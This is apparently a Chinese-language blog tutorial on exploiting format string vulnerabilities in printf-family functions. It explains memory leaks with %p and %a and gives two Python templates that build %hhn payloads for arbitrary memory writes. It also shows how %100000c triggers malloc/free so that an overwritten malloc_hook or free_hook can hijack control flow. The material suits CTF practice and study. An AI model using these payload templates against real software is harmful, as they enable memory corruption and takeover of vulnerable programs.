[乾貨]格式化字符串漏洞(fsb)利用方式總結 附攻擊模板

printf

著名的格式化字符串漏洞就不說啦~ printf家族的函數都存在這個漏洞

printf, fprintf, dprintf, sprintf, snprintf, vprintf, vfprintf, vdprintf, vsprintf, vsnprintf

常用格式

格式符 用途 備註
%p 以指針格式輸出棧中變量的地址 $用於指定位置參數,e.g.%13$p
%s 輸出棧中指針指向的字符串 若指針不合法則輸出(nil)
%a 以double格式輸出棧中變量 常見於printf_chk泄漏libc,詳見#1
%c 以char格式輸出棧中變量 打印過多字符將調用malloc,詳見#2
%n 將已輸出的字符數保存到棧中指針 若指針不合法則報錯
%n-4字節; %hn-2字節; %hhn-1字節

泄漏內存

%p用於泄漏內存就不多說了

%a的時候要注意一下輸出格式的問題,比如有如下輸出:

0x0.07fcf47895ap-1022

由於是小數的形式打印的,變量末尾的0會被自動省略掉,需要手動還原一下:

0x07fcf4789500

任意寫

case1: buf足夠大

如果buf足夠大,可以考慮同時使用多個格式符,一次完成變量的修改。

下面是keer師傅的%hhn大法可以快速完成任意寫,payload長度至少爲128

def fmt(data,addr,off):
    arg0=(data)&0xff
    arg1=(data&0xff00)>>8
    arg2=(data&0xff0000)>>16
    arg3=(data&0xff000000)>>24
    arg4=(data&0xff00000000)>>32
    arg5=(data&0xff0000000000)>>40
    print arg0,arg1,arg2,arg3
    # arg6=(data&0xf f000000000000)>>48
    # arg7=(data&0xf f00000000000000)>>56
    pay1='%'+str(arg0)+'c%'+str(off+10)+'$hhn'
    pay2='%'+str( (arg1-arg0+0x100)%0x100)+'c%'+str(off+11)+'$hhn'
    pay3='%'+str( (arg2-arg1+0x100)%0x100)+'c%'+str(off+12)+'$hhn'
    pay4='%'+str( (arg3-arg2+0x100)%0x100)+'c%'+str(off+13)+'$hhn'
    pay5='%'+str( (arg4-arg3+0x100)%0x100)+'c%'+str(off+14)+'$hhn'
    pay6='%'+str( (arg5-arg4+0x100)%0x100)+'c%'+str(off+15)+'$hhn'
    payload = pay1+pay2+pay3+pay4+pay5+pay6 # +'%100000c'
    payload = payload.ljust(8*10,'A')
    payload+= p64(addr)
    payload+= p64(addr+1)
    payload+= p64(addr+2)
    payload+= p64(addr+3)
    payload+= p64(addr+4)
    payload+= p64(addr+5)
    return payload

%hhn一次寫1個字節,相當於是byte/char型,最大範圍是0xff,所以(arg1-arg0+0x100)%0x100這樣的溢出寫法,可以在不排序的情況下準確覆蓋變量。

由於每次只改1字節,使用%hhn快速完成任意寫,不足之處就是payload太長。

case2: buf不夠大

如果buf長度不夠,可以考慮重複利用printf,多次攻擊完成變量的修改。

下面是藕自己寫的模板,payload長度最少是32字節:

def alter_byte(addr,data):
    if data==0:
        payload = "%10$hhn"
    else:
        payload = "%%%dc%%10$hhn"%(data)
    payload = payload.ljust(24,'T')
    payload += p64(addr)
    sl(payload)
    return rc()

def alter_dw(addr,data):
    alter_byte(addr,data&0xff)
    alter_byte(addr+1,(data>>8)&0xff)
    alter_byte(addr+2,(data>>16)&0xff)
    alter_byte(addr+3,(data>>24)&0xff)

def alter_qw(addr,data):
    alter_dw(addr,data)
    alter_dw(addr+4,data>>32)

其中10是offset,用的時候改一下

觸發malloc/free

%100000c表示在輸出字符時向左側填充空格,最終輸出長度爲100000的字符串。當字符串長度過大的時候,printf內部將調用malloc申請空間作爲緩衝器,輸出結束後會free掉這片空間。

利用方式:

  • 篡改malloc_hook/free_hook,使用%100000c觸發malloc/free,劫持程序控制流
  • 和堆相關利用結合,利用printf隱試調用malloc

此外,從原理上看%100000s,%10000d等類似格式也可達到同樣效果。

練習題

更新日期:2020年 04月 01日 星期三 23:05:56 CST

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章